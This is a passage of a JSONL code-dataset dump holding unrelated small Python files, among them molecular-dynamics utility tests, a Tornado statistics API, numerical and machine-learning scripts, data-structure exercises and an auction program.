tol_atom_indices]\n massless_system = zero_masses(system, tol_atom_indices)\n massless = [massless_system.getParticleMass(i)._value for i in tol_atom_indices]\n\n # Check that masses have been zeroed\n assert massless != masses\n assert all(m == 0 for m in massless)\n\ndef test_freeze_atoms(structure, system, tol_atom_indices):\n print('Testing freeze_atoms')\n masses = [system.getParticleMass(i)._value for i in tol_atom_indices]\n frzn_lig = freeze_atoms(structure, system, ':LIG')\n massless = [frzn_lig.getParticleMass(i)._value for i in tol_atom_indices]\n\n # Check that masses have been zeroed\n assert massless != masses\n assert all(m == 0 for m in massless)\n\n\ndef test_freeze_radius(structure, system_cfg, caplog):\n print('Testing freeze_radius')\n freeze_cfg = {'freeze_center': ':LIG', 'freeze_solvent': ':Cl-', 'freeze_distance': 100.0 * unit.angstroms}\n # Setup toluene-T4 lysozyme system\n prmtop = utils.get_data_filename('blues', 'tests/data/eqToluene.prmtop')\n inpcrd = utils.get_data_filename('blues', 'tests/data/eqToluene.inpcrd')\n structure = parmed.load_file(prmtop, xyz=inpcrd)\n atom_indices = utils.atomIndexfromTop('LIG', structure.topology)\n system = structure.createSystem(**system_cfg)\n\n # Freeze everything around the binding site\n frzn_sys = freeze_radius(structure, system, **freeze_cfg)\n\n # Check that the ligand has NOT been frozen\n lig_masses = [system.getParticleMass(i)._value for i in atom_indices]\n assert all(m != 0 for m in lig_masses)\n\n # Check that the binding site has NOT been frozen\n selection = \"({freeze_center}<:{freeze_distance._value})&!({freeze_solvent})\".format(**freeze_cfg)\n site_idx = utils.amber_selection_to_atomidx(structure, selection)\n masses = [frzn_sys.getParticleMass(i)._value for i in site_idx]\n assert all(m != 0 for m in masses)\n\n # Check that the selection has been frozen\n # Invert that selection to freeze everything but the binding site.\n freeze_idx = set(range(system.getNumParticles())) - set(site_idx)\n massless = [frzn_sys.getParticleMass(i)._value for i in freeze_idx]\n assert all(m == 0 for m in massless)\n\n # Check number of frozen atoms is equal to center\n system = structure.createSystem(**system_cfg)\n with caplog.at_level(logging.ERROR):\n frzn_all = freeze_radius(structure, system, freeze_solvent=':WAT', freeze_distance=1*unit.angstrom)\n assert 'ERROR' in caplog.text\n\n # Check all frozen error\n system = structure.createSystem(**system_cfg)\n with caplog.at_level(logging.ERROR):\n frzn_all = freeze_radius(structure, system, freeze_solvent=':WAT', freeze_distance=0*unit.angstrom)\n assert 'ERROR' in caplog.text\n\n # Check freeze threshold error\n system = structure.createSystem(**system_cfg)\n with caplog.at_level(logging.ERROR):\n frzn_all = freeze_radius(structure, system, freeze_solvent=':WAT', freeze_distance=2*unit.angstrom)\n assert 'ERROR' in caplog.text\n\n # Check freeze threshold error\n system = structure.createSystem(**system_cfg)\n with caplog.at_level(logging.WARNING):\n frzn_sys = freeze_radius(structure, system, freeze_solvent=':Cl-', freeze_distance=20*unit.angstrom)\n assert 'WARNING' in caplog.text\n\n\n\ndef test_addBarostat(system):\n print('Testing MonteCarloBarostat')\n forces = system.getForces()\n npt_system = addBarostat(system)\n npt_forces = npt_system.getForces()\n\n #Check that forces have been added to the system.\n assert len(forces) != len(npt_forces)\n #Check that it has added the MonteCarloBarostat\n assert isinstance(npt_forces[-1], openmm.MonteCarloBarostat)\n","sub_path":"blues/tests/test_utilities.py","file_name":"test_utilities.py","file_ext":"py","file_size_in_byte":8636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"330347470","text":"import tornado.web\nimport logging\nimport json\n\nfrom tornado.web import asynchronous\n\nfrom cmstats.handlers import BaseHandler\nfrom cmstats.model.schema.devices import Device\nfrom cmstats import summary\n\n\nclass ApiHandler(BaseHandler):\n @asynchronous\n def get(self):\n self.method = self.arguments.get('method', None)[0]\n\n if not self.method:\n self.set_status(500)\n return self.fail(\"method must be specified\")\n\n try:\n fn = getattr(self, 'method_%s' % self.method)\n except AttributeError:\n self.set_status(405)\n return self.fail(\"Unknown method\")\n else:\n fn()\n\n def fail(self, error_message):\n self.write(json.dumps({\n 'result': None,\n 'error': error_message\n }, indent=True))\n return self.finish()\n\n def success(self, result):\n self.set_header(\"Content-Type\", \"application/json\")\n callback = self.arguments.get('callback', [None])[0]\n data = json.dumps({\n 'result': result,\n 'error': None\n })\n if callback is not None:\n self.write(\"%s(%s)\" % (callback, data))\n else:\n self.write(data)\n\n return self.finish()\n\n def method_get_counts(self):\n kang = summary.kang\n official = summary.official\n result = {\n 'kang': kang,\n 'official': official,\n 'total': official + kang,\n 'device': sorted([(v,k) for k,v in summary.devices.iteritems()], key=lambda x: x[0], reverse=True)[:100],\n 'version': sorted([(v,k) for k,v in summary.versions.iteritems()], key=lambda x: x[0], reverse=True)[:100],\n 'last_day': Device.count_last_day(),\n 'submits': summary.submits\n }\n return self.success(result)\n\n def method_get_total_installs(self):\n kang = summary.kang\n official = summary.official\n\n return self.success(kang + official)\n","sub_path":"cmstats/handlers/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"115275511","text":"import numpy as np\nimport sympy as sy\nimport matplotlib.pyplot as plt\n\np1 = 9967379\np2 = 10251250 \np3 = 10895586\nt1 = 1990\nt2 = 2000\nt3 = 2010\n\niteraciones = 200\n\n#intervalo\nintervalo_inicio = -0.08\nintervalo_final = -0.07\n\nalpha = (p2*p3 - p1*p2)/(p2*p1 - p1*p3)\nbeta =(p1*p3 - p2*p3) /(p2*p1 - p1*p3)\n\ndef f(k):\n\treturn 1 + alpha*sy.exp(-k*(t2-t1)) + beta*sy.exp(-k*(t3-t1))\n\t\n\ndef biseccion(f,a,b,n):\n\txRaiz = 0\n\tfor k in range(n):\n\t\tx = (b+a) / 2\n\t\tif f(x) * f(b) < 0:\n\t\t\ta = x\n\t\telif f(x) * f(a) < 0:\n\t\t\tb = x\n\t\telse: \n\t\t\tbreak\n\t\txRaiz = x\n\t\tprint(\"iteracion: \", k, \" raiz: \", xRaiz)\n\treturn xRaiz\n\nk_calculado = biseccion(f,intervalo_inicio, intervalo_final,iteraciones)\nprint(\"\\nK calculado: \", k_calculado)\n\nc_calculado = (p3-p1) / (p1*sy.exp(-k_calculado*t1) - p3*sy.exp(-k_calculado*t3))\nprint(\"C calculado: \", c_calculado)\n\npl_calculado = p1 * ( 1 + (c_calculado*np.exp(-k_calculado * t1) ))\nprint(\"Pl calculado: \", pl_calculado, \"\\n\")\n\n\n\nk = sy.Symbol('k')\nsy.plot(1 + alpha*sy.exp(-k*(t2-t1)) + beta*sy.exp(-k*(t3-t1)),(k,-0.1,0.1))\n","sub_path":"Codigo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"345238943","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom util import *\n\nimport os, sys \nnp.random.seed(789)\ntf.set_random_seed(7689)\nplt.style.use('seaborn')\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n\nfrom tensorflow.examples.tutorials.mnist import input_data\nPathDicom = \"../../../Dataset/MNIST/\"\n\nmnist = input_data.read_data_sets(PathDicom, one_hot=True)\n\nX = mnist.train._images.reshape(55000,28,28)\nY = mnist.train._labels\nindex = np.arange(55000)\nnp.random.shuffle(index)\n\ntrain_bf = BatchFeeder(X[index[:54000]], Y[index[:54000]], 128)\nvalid_bf = BatchFeeder(X[index[54000:]], Y[index[54000:]], 32)\n\n\nprint(train_bf.next().shape)\nprint(train_bf.next().shape)\nprint(train_bf.next().shape)\nsys.exit()\n\nmodel = testnet()\nmodel.train(train_bf, 5)\n\nx, y = valid_bf.next()\npred = model.predict(x)\nex = model.explain(x)\n\nindex = 0\n\nprint(\"Truth:\", np.argmax(y[index]))\nprint(\"Prediction:\", np.argmax(pred[index]))\n\n# Plot the true image.\nplt.figure(figsize=(9.5,1))\nplt.subplot(1,11,1)\nplt.imshow(x[index].reshape(28,28), cmap=\"Greys\")\nplt.xticks([],[])\nplt.yticks([],[])\nplt.title(\"Original image\", fontsize=8)\n\n# Generate explanation with respect to each of 10 output channels.\nexs = []\nfor i in range(10):\n exs.append(ex[i][index].reshape(28, 28))\nexs = np.array(exs)\n\n# Plot them\nth = max(np.abs(np.min(exs)), np.abs(np.max(exs)))\nfor i in range(1,11):\n e = exs[i-1]\n plt.subplot(1,11,1+i)\n plt.imshow(e, cmap=\"seismic\", vmin=-1*th, vmax=th)\n plt.xticks([],[])\n plt.yticks([],[])\n plt.title(\"Exp. for (\"+str(i-1)+\")\", fontsize=8)\nplt.tight_layout()\nplt.show()\n\n\n# -- end code --","sub_path":"Understanding_Concepts/viz/IntegratedGradientsTF/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"358443320","text":"import re\nfrom reparser import (\n Parser,\n Token,\n MatchGroup,\n)\n\nfrom .common import (\n get_segments,\n)\nfrom .data import (\n MARKDOWN_TEXT_EXAMPLE,\n MARKDOWN_SERIALIZED_SEGMENTS_EXAMPLE,\n)\n\n\ndef get_parser():\n boundary_chars = r'\\s`!()\\[\\]{{}};:\\'\".,<>?«»“”‘’*_~='\n b_left = r'(?:(?<=[' + boundary_chars + r'])|(?<=^))' # Lookbehind\n b_right = r'(?:(?=[' + boundary_chars + r'])|(?=$))' # Lookahead\n\n markdown_start = b_left + r'(?.+?)\\]\\((?P.+?)\\)'\n newline = r'\\n|\\r\\n'\n\n url_proto_regex = re.compile(r'(?i)^[a-z][\\w-]+:/{1,3}')\n\n def markdown(tag):\n \"\"\"Return sequence of start and end regex patterns for a Markdown tag\"\"\"\n return markdown_start.format(tag=tag), markdown_end.format(tag=tag)\n\n def url_complete(url):\n \"\"\"If URL doesn't start with protocol, prepend it with http://\"\"\"\n return url if url_proto_regex.search(url) else 'http://' + url\n\n tokens = [\n Token('bi1', *markdown(r'\\*\\*\\*'), is_bold=True, is_italic=True),\n Token('bi2', *markdown(r'___'), is_bold=True, is_italic=True),\n Token('b1', *markdown(r'\\*\\*'), is_bold=True),\n Token('b2', *markdown(r'__'), is_bold=True),\n Token('i1', *markdown(r'\\*'), is_italic=True),\n Token('i2', *markdown(r'_'), is_italic=True),\n Token('s', *markdown(r'~~'), is_strikethrough=True),\n Token('u', *markdown(r'=='), is_underline=True),\n Token('link', markdown_link, text=MatchGroup('link'),\n link_target=MatchGroup('url', func=url_complete)),\n Token('br', newline, text='\\n', segment_type=\"LINE_BREAK\")\n ]\n\n return Parser(tokens)\n\n\ndef test_example():\n actual = get_segments(MARKDOWN_TEXT_EXAMPLE, get_parser())\n expected = MARKDOWN_SERIALIZED_SEGMENTS_EXAMPLE\n assert expected == actual\n","sub_path":"tests/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"575973532","text":"\r\n# Tree node object class\r\nclass TreeNode(object):\r\n def __init__(self, x):\r\n self.val = x\r\n self.left = None\r\n self.right = None\r\n\r\n\r\ndef BuildTree(list, root, index): # Build the tree from the given list each left element is 2*(index of root) + 2\r\n # each right element is 2*(index of root) + 2\r\n # return the treenode object to be used in the traversal methods\r\n if index>> x = [1, 2]\n >>> max_count(x, 1)\n 2\n >>> x = [1, 2, [3, 5, [5, 7]]]\n >>> max_count(x, 3)\n 4\n \"\"\"\n def _helper(list_, depth, target_d):\n if depth == target_d:\n return len(list_)\n else:\n total_len = 0\n for i in list_:\n if isinstance(i, list):\n total_len += _helper(i, depth+1, target_d) + 1\n return total_len\n totals = []\n for i in range(max_depth):\n j = _helper(list_, 0, i)\n totals.append(j)\n return max(totals)\n\n\ndef combo_calc():\n \"\"\" Generate all combinations in 8-bit binary \n \n :param set_length int: \n :param symbols int: \n :return int:\n \n >>> combo_calc()\n 256\n \"\"\"\n def _ints_to_str(int_list):\n string = ''\n for i in int_list:\n string += str(i)\n return string\n\n combos = []\n for a in range(2):\n for b in range(2):\n for c in range(2):\n for d in range(2):\n for e in range(2):\n for f in range(2):\n for g in range(2):\n for h in range(2):\n int_list = [a, b, c, d, e, f, g, h]\n combos.append(_ints_to_str(int_list))\n\n return len(combos)\n\n\nif __name__ == \"__main__\":\n m = MultiIterator([0, 2])\n i = m.new_iterator()\n print(m.next(i))\n j = m.new_iterator()\n print(m.next(i))\n print(m.next(j))\n print(m.next(i))","sub_path":"labs/csc148_final_review/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"185677519","text":"class TrieNode(object):\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.child = dict()\n self.flag = False\n\nclass Trie(object):\n\n def __init__(self):\n self.root = TrieNode()\n\n def insert(self, word):\n \"\"\"\n Inserts a word into the trie.\n :type word: str\n :rtype: void\n \"\"\"\n cur = self.root\n for i in word:\n if i not in cur.child:\n cur.child[i] = TrieNode()\n cur = cur.child[i]\n cur.flag = True\n \n\n def search(self, word):\n \"\"\"\n Returns if the word is in the trie.\n :type word: str\n :rtype: bool\n \"\"\"\n cur = self.root\n for i in word:\n if i in cur.child:\n cur = cur.child[i]\n else: return False\n return cur.flag\n \n\n def startsWith(self, prefix):\n \"\"\"\n Returns if there is any word in the trie\n that starts with the given prefix.\n :type prefix: str\n :rtype: bool\n \"\"\"\n cur = self.root\n for i in prefix:\n if i in cur.child:\n cur = cur.child[i]\n else: return False\n return True\n\n \n\n# Your Trie object will be instantiated and called as such:\n# trie = Trie()\n# trie.insert(\"somestring\")\n# trie.search(\"key\")\nif __name__ == '__main__':\n trie = Trie()\n trie.insert(\"asd\")\n print(trie.search(\"asd\"))\n trie.insert(\"as\")\n print(trie.startsWith(\"asdd\"))","sub_path":"Algorithms/Implement Trie (Prefix Tree)/Implement Trie (Prefix Tree).py","file_name":"Implement Trie (Prefix Tree).py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"335252612","text":"\r\n\r\n\r\ndef answer(par):\r\n count = 0\r\n length = 0\r\n temp = []\r\n item = []\r\n for i in par:\r\n print(type(i))\r\n if i>='0' and i<='9':\r\n count = count+1\r\n item.append(str(i))\r\n\r\n else:\r\n if count >= length:\r\n length = count\r\n temp = item\r\n\r\n count = 0\r\n item = []\r\n else:\r\n count = 0\r\n item = []\r\n\r\n temp = ''.join(temp)\r\n print('length:{}, temp:{}'.format(length, temp))\r\n\r\n\r\nif __name__ == '__main__':\r\n answer('sasaf15455fa4fas5f4564564g56s4sg5gg')\r\n","sub_path":"Pscrapy/PycharmProjects/Reptile/ven/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"46647127","text":"import discord as api\r\nimport os\r\nfrom discord.ext import commands\r\nfrom discord.ext.commands import has_permissions, MissingRequiredArgument, BadArgument, MissingPermissions\r\nfrom discord.utils import get\r\nfrom properties import prefix, token, intents, insensitiveCase, ownerID, dagpi_token\r\nfrom discord.ext import ui\r\nimport time, datetime, humanize\r\nimport json\r\nimport subprocess as sp\r\nfrom Utils.utils import DMBText, DMBot, utils\r\nfrom asyncdagpi import Client\r\nimport mystbin\r\n\r\nstart = time.time()\r\nintents = api.Intents.default()\r\nintents.members = True\r\nprefixes_db_path = './prefixes.json'\r\n\r\ndef get_prefix(bot, message):\r\n if message.guild is None:\r\n return ''\r\n else:\r\n if message.author.id in (376129806313455616, 528290553415335947):\r\n return [f'<@!{bot.user.id}> ', f'<@!{bot.user.id}>', bot.prefixes[str(message.guild.id)], '']\r\n else:\r\n return [f'<@!{bot.user.id}> ', f'<@!{bot.user.id}>', bot.prefixes[str(message.guild.id)]]\r\n\r\nbot = DMBot(command_prefix=get_prefix, intents=intents, case_insensitive=insensitiveCase, owner_ids={376129806313455616, 528290553415335947})\r\nbot.remove_command('help')\r\nbot.commands_since_restart = 0\r\nbot.currency_cache = {}\r\nbot.dag = Client(dagpi_token)\r\nbot.mystbin = mystbin.Client()\r\nbot.prefixes = json.load(open(prefixes_db_path, 'r'))\r\nbot.indent = utils.indent\r\nbot.edit_cache = {}\r\nbot.prefix_for = utils.prefix_for\r\nbot.codeblock = utils.codeblock\r\n\r\ndef who(person, command):\r\n trigger = f'{person} just ran {command}'\r\n return trigger\r\n\r\n@bot.command()\r\n@commands.is_owner()\r\nasync def load(ctx, extension):\r\n try:\r\n bot.load_extension(f'Commands.{extension.capitalize()}.{extension}')\r\n message = ctx.message\r\n await message.add_reaction('\\U00002705')\r\n except commands.ExtensionFailed as e:\r\n await ctx.send(e)\r\n await ctx.message.add_reaction('\\U0000274e')\r\n\r\n@bot.command()\r\n@commands.is_owner()\r\nasync def unload(ctx, folder, extension):\r\n try:\r\n bot.unload_extension(f'Commands.{extension.capitalize()}.{extension}')\r\n message = ctx.message\r\n await message.add_reaction('\\U00002705')\r\n except commands.ExtensionFailed as e:\r\n await ctx.send(e)\r\n await ctx.message.add_reaction('\\U0000274e')\r\n\r\n@bot.command()\r\n@commands.is_owner()\r\nasync def reload(ctx, extension):\r\n try:\r\n bot.reload_extension(f'Commands.{extension.capitalize()}.{extension}')\r\n message = ctx.message\r\n await message.add_reaction('\\U00002705')\r\n except commands.ExtensionFailed as e:\r\n await ctx.send(e)\r\n await ctx.message.add_reaction('\\U0000274e')\r\n\r\n@bot.event\r\nasync def on_ready():\r\n def uptime_seconds():\r\n end = time.time()\r\n difference = end - start\r\n return difference\r\n \r\n def uptime_delta():\r\n difference = uptime_seconds()\r\n delta = datetime.timedelta(seconds=difference)\r\n return delta\r\n \r\n def uptime_delta_humanized():\r\n delta = uptime_delta()\r\n humandelta = humanize.naturaldelta(delta)\r\n return humandelta\r\n \r\n def uptime_delta_humanized_precise():\r\n delta = uptime_delta()\r\n humandeltaprecise = humanize.precisedelta(delta)\r\n return humandeltaprecise\r\n \r\n bot.uptime_seconds = uptime_seconds\r\n bot.uptime_delta = uptime_delta\r\n bot.uptime_delta_humanized = uptime_delta_humanized\r\n bot.uptime_delta_humanized_precise = uptime_delta_humanized_precise\r\n\r\n for category in os.listdir('./Commands'):\r\n for cog in os.listdir(f'./Commands/{category}'):\r\n if cog.endswith('.py') and cog != '__init__.py':\r\n bot.load_extension(f'Commands.{category}.{cog[:-3]}')\r\n if cog == 'statuses.py':\r\n from Commands.Statuses.statuses import Status\r\n cog_status = Status(bot)\r\n cog_status.change_status.start()\r\n \r\n for guild in bot.guilds:\r\n with open(prefixes_db_path, 'r') as f:\r\n prefixes = json.load(f)\r\n \r\n if prefixes.get(str(guild.id)) is None:\r\n prefixes[str(guild.id)] = prefix\r\n \r\n with open(prefixes_db_path, 'w') as f:\r\n json.dump(prefixes, f, indent=4)\r\n \r\n elif not prefixes.get(str(guild.id)) is None:\r\n continue\r\n print(f'Logged in as {bot.user.name} - {bot.user.id}')\r\n\r\n@bot.event\r\nasync def on_guild_join(guild):\r\n with open(prefixes_db_path, 'r') as f:\r\n prefixes = json.load(f)\r\n \r\n prefixes[str(guild.id)] = prefix\r\n \r\n with open(prefixes_db_path, 'w') as f:\r\n json.dump(prefixes, f, indent=4)\r\n\r\n@bot.event\r\nasync def on_guild_remove(guild):\r\n with open(prefixes_db_path, 'r') as f:\r\n prefixes = json.load(f)\r\n \r\n prefixes.pop(str(guild.id))\r\n \r\n with open(prefixes_db_path, 'w') as f:\r\n json.dump(prefixes, f, indent=4)\r\n\r\n@bot.command(aliases=['changeprefix'])\r\n@has_permissions(administrator=True)\r\nasync def setprefix(ctx, prefix:str):\r\n with open(prefixes_db_path, 'r') as f:\r\n prefixes = json.load(f)\r\n \r\n prefixes[str(ctx.guild.id)] = prefix\r\n \r\n with open(prefixes_db_path, 'w') as f:\r\n json.dump(prefixes, f, indent=4)\r\n \r\n try:\r\n await ctx.guild.me.edit(nick=f'[{prefix}] Discord Mega Bot')\r\n await ctx.send(f'Successfully changed server prefix to `{prefix}`')\r\n except api.HTTPException:\r\n await ctx.send('Nickname must be 32 or fewer in length! Although, i did change the prefix')\r\n\r\n@bot.event\r\nasync def on_command_error(ctx, error):\r\n if isinstance(error, commands.CommandNotFound):\r\n return\r\n else:\r\n await ctx.send('```py\\n' + str(error) + '\\n```')\r\n raise error\r\n\r\n@bot.event\r\nasync def on_message_edit(before, after):\r\n if after.content.startswith(tuple(get_prefix(bot, after))):\r\n await bot.process_commands(after)\r\n\r\n@bot.event\r\nasync def on_command_completion(ctx):\r\n bot.commands_since_restart += 1\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n if message.content == f'<@!{bot.user.id}>':\r\n embed = api.Embed(title='Hello!', color=api.Color.green(), description=f'My prefix is {get_prefix(bot, message)[2]}, and you can mention me, of course.')\r\n await message.channel.send(embed=embed)\r\n await bot.process_commands(message)\r\n\r\nbot.run(token)\r\n","sub_path":"DiscordMegaBot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":6430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"381834335","text":"import sys, os, matplotlib.pyplot as plt\n\ndir = sys.argv[1]\n\ndef evalue_besthit(file, liste_evalue) :\n fichier = open(file, \"r\") # Ouvrir le fichier de resultats blast\n\n for ligne in fichier : # Pour chaque ligne du fichier\n if ligne.startswith(\"#\") :\n flag = False # Pas de besthit catch\n\n elif (flag==False) :\n list = ligne.split(\"\\t\")\n list_query = list[0].split(\"_\")\n\n if len(list_query) == 4 : # Si query = igorf\n list_subject = list[1].split(\"_\")\n\n if len(list_subject) == 4 :\n liste_evalue.append(list[10])\n fichier.close()\n\n\npath=os.listdir(dir)\nliste_evalue = []\n\nfor file in path :\n print(file)\n evalue_besthit(dir+\"/\"+file, liste_evalue)\n\n\n\nplt.xlim([min(liste_evalue)-5, max(liste_evalue)+5])\nplt.hist(liste_evalue)\n\nplt.show()\n\n\n","sub_path":"evalue.py","file_name":"evalue.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"593212777","text":"import torch\nfrom .module import Module\nfrom . import initialization as init\nfrom ..layers import out_modules\n\n\nclass Model(Module):\n def __init__(self):\n super().__init__()\n\n def predict(self, x):\n raise NotImplementedError\n\n\nclass ANNModel(Model):\n def __init__(self):\n super().__init__()\n\n def predict(self, x):\n raise NotImplementedError\n\n def predict_prob(self, x):\n raise NotImplementedError\n\n\nclass EnsembleModel(Model):\n def __init__(self):\n super().__init__()\n\n def predict(self, x):\n raise NotImplementedError\n\n\nclass SegmentationModel(ANNModel):\n\n def __init__(self, num_classes):\n super().__init__()\n self.num_classes = num_classes\n self.out_channels = num_classes\n\n if self.out_channels == 1:\n self.prediction_layer = out_modules.OutSigmoid(threshold=0.5)\n self.prediction_prob_layer = out_modules.OutSigmoid(threshold=None)\n else:\n self.prediction_layer = out_modules.OutSoftmax(take_argmax_flag=True)\n self.prediction_prob_layer = out_modules.OutSoftmax(take_argmax_flag=False)\n\n def forward(self, x):\n \"\"\"Sequentially pass `x` trough model`s encoder, decoder and heads\"\"\"\n features = self.encoder(x)\n decoder_output = self.decoder(*features)\n\n masks = self.segmentation_head(decoder_output)\n\n if self.classification_head is not None:\n labels = self.classification_head(features[-1])\n return masks, labels\n\n return masks\n\n def predict(self, x):\n \"\"\"Inference method. Switch model to `eval` mode, call `.forward(x)` with `torch.no_grad()`\n\n Args:\n x: 4D torch tensor with shape (batch_size, channels, height, width)\n\n Return:\n prediction: 4D torch tensor with shape (batch_size, classes, height, width)\n\n \"\"\"\n if self.training:\n self.eval()\n\n with torch.no_grad():\n x = self(x)\n if self.classification_head is not None:\n x = x[0]\n\n return self.prediction_layer(x)\n\n def predict_prob(self, x):\n \"\"\"Inference method. Switch model to `eval` mode, call `.forward(x)` with `torch.no_grad()`\n\n Args:\n x: 4D torch tensor with shape (batch_size, channels, height, width)\n\n Return:\n prediction: 4D torch tensor with shape (batch_size, classes, height, width)\n\n \"\"\"\n if self.training:\n self.eval()\n\n with torch.no_grad():\n x = self(x)\n if self.classification_head is not None:\n x = x[0]\n\n return self.prediction_prob_layer(x)\n\n\nclass TwoHeadsSegmentationModel(ANNModel):\n\n def __init__(self, num_classes1, num_classes2):\n super().__init__()\n\n self.num_classes_lst = []\n self.out_channels_lst = []\n self.prediction_layer_lst = []\n self.prediction_prob_layer_lst = []\n\n for num_classes in [num_classes1, num_classes2]:\n self.num_classes_lst.append(num_classes)\n self.out_channels_lst.append(num_classes)\n\n if self.out_channels_lst[-1] == 1:\n self.prediction_layer_lst.append(out_modules.OutSigmoid(threshold=0.5))\n self.prediction_prob_layer_lst.append(out_modules.OutSigmoid(threshold=None))\n else:\n self.prediction_layer_lst.append(out_modules.OutSoftmax(take_argmax_flag=True))\n self.prediction_prob_layer_lst.append(out_modules.OutSoftmax(take_argmax_flag=False))\n\n def predict(self, x):\n \"\"\"Inference method. Switch model to `eval` mode, call `.forward(x)` with `torch.no_grad()`\n\n Args:\n x: 4D torch tensor with shape (batch_size, channels, height, width)\n\n Return:\n prediction: 4D torch tensor with shape (batch_size, classes, height, width)\n\n \"\"\"\n if self.training:\n self.eval()\n\n with torch.no_grad():\n x0, x1 = self(x)\n\n x0, x1 = self.prediction_layer_lst[0](x0), self.prediction_layer_lst[1](x1)\n return x0, x1\n\n def predict_prob(self, x):\n\n if self.training:\n self.eval()\n\n with torch.no_grad():\n x0, x1 = self(x)\n\n x0, x1 = self.prediction_prob_layer_lst[0](x0), self.prediction_prob_layer_lst[1](x1)\n return x0, x1\n","sub_path":"segmentation_models_pytorch/base/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"118490692","text":"\n\nfrom xai.brain.wordbase.adverbs._straight import _STRAIGHT\n\n#calss header\nclass _STRAIGHTS(_STRAIGHT, ):\n\tdef __init__(self,): \n\t\t_STRAIGHT.__init__(self)\n\t\tself.name = \"STRAIGHTS\"\n\t\tself.specie = 'adverbs'\n\t\tself.basic = \"straight\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adverbs/_straights.py","file_name":"_straights.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"169914427","text":"lista = [11112222, 33334444, 55556666, 77778888, 99990000]\n\ndef conta_elementos(lista):\n return(len(lista))\nconta_elementos(lista)\n\ntelefone = 988776655\ndef verifica_presenca(lista, telefone):\n if telefone in lista:\n return True\n else:\n return False\nverifica_presenca(lista, telefone)\n\n\ndef insere(lista, telefone):\n if telefone not in lista:\n lista.append(telefone)\n elif telefone in lista:\n return False\n else:\n return True\ninsere(lista, telefone)\n\n\ndef remove(lista, telefone):\n if telefone in lista:\n lista.remove(telefone)\n elif telefone in lista:\n return True\n else:\n return False\ninsere(lista, telefone)\n\n\ndef imprime(lista):\n for i in lista[0:]:\n j = lista.index(i)\n while j > 0 and lista[j - 1] > lista[j]:\n lista[j], lista[j - 1] = lista[j - 1], lista[j]\n j = j - 1\n print(j, ' = ', i)\nimprime(lista) ","sub_path":"ac-correcoes/ac2.py","file_name":"ac2.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"42399840","text":"# create a function that returns the shortest string from a list\n\nnames = ['Zakarias', 'Hans', 'Otto', 'Ole']\n\ndef shortest(names):\n sh = len(names[0])\n for x in names:\n if len(x) < sh:\n sh = len(x)\n else:\n continue\n for y in names:\n if len(y) == sh:\n result = y\n else:\n continue\n return result\n\n\nprint(shortest(names))\n","sub_path":"week-03/day-02/39.py","file_name":"39.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"507407756","text":"import pandas as pd\nfrom sklearn.svm import SVC \nimport joblib\ncancer_diagnosis=pd.read_csv('Blood Analysis.csv', delimiter=',')\nX=cancer_diagnosis[['Age','BMI','Glucose','Insulin','HOMA','Leptin','Adiponectin','Resistin','MCP.1']]\ny=cancer_diagnosis['Classification']\nsvm = SVC()\nsvm.fit(X, y)\njoblib.dump(svm,'bloodmodel.pkl')\nclf=joblib.load('bloodmodel.pkl')\nclf=clf.predict([[10000,5000,40,50,2000,16,9,2,1]])\nprint(clf)\n","sub_path":"restapi/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"60770160","text":"from replit import clear # this module work only in replit 'replit.com'\nimport art # The art file is also in PythonBeginner with the name of art.py ,it is just a logo if you want to use it do copy it\n\n#HINT: You can call clear() to clear the output in the consol\nprint(art.logo)\nbids={}\nbidding_end =False\n\ndef highest_bid(bid_data):\n high=0\n winner=''\n for bid in bid_data:\n bidamount=bid_data[bid]\n if bidamount> high:\n high=bidamount\n winner=bid\n print(f\"The winner is {winner} with the bid of {high} \") \n\n\n\n\nwhile not bidding_end:\n Name=input(\"Enter your name ?\\n\")\n price=int(input('Enter bid amount: RS'))\n bids[Name]=price\n more=input(\"Any one else want to bid ?Type 'yes or no.\").lower()\n if more =='no':\n bidding_end =True\n highest_bid(bids)\n elif more=='yes':\n clear() \n \n \n \n \n ##### it is a art.py code \n logo = '''\n ___________\n \\ /\n )_______(\n 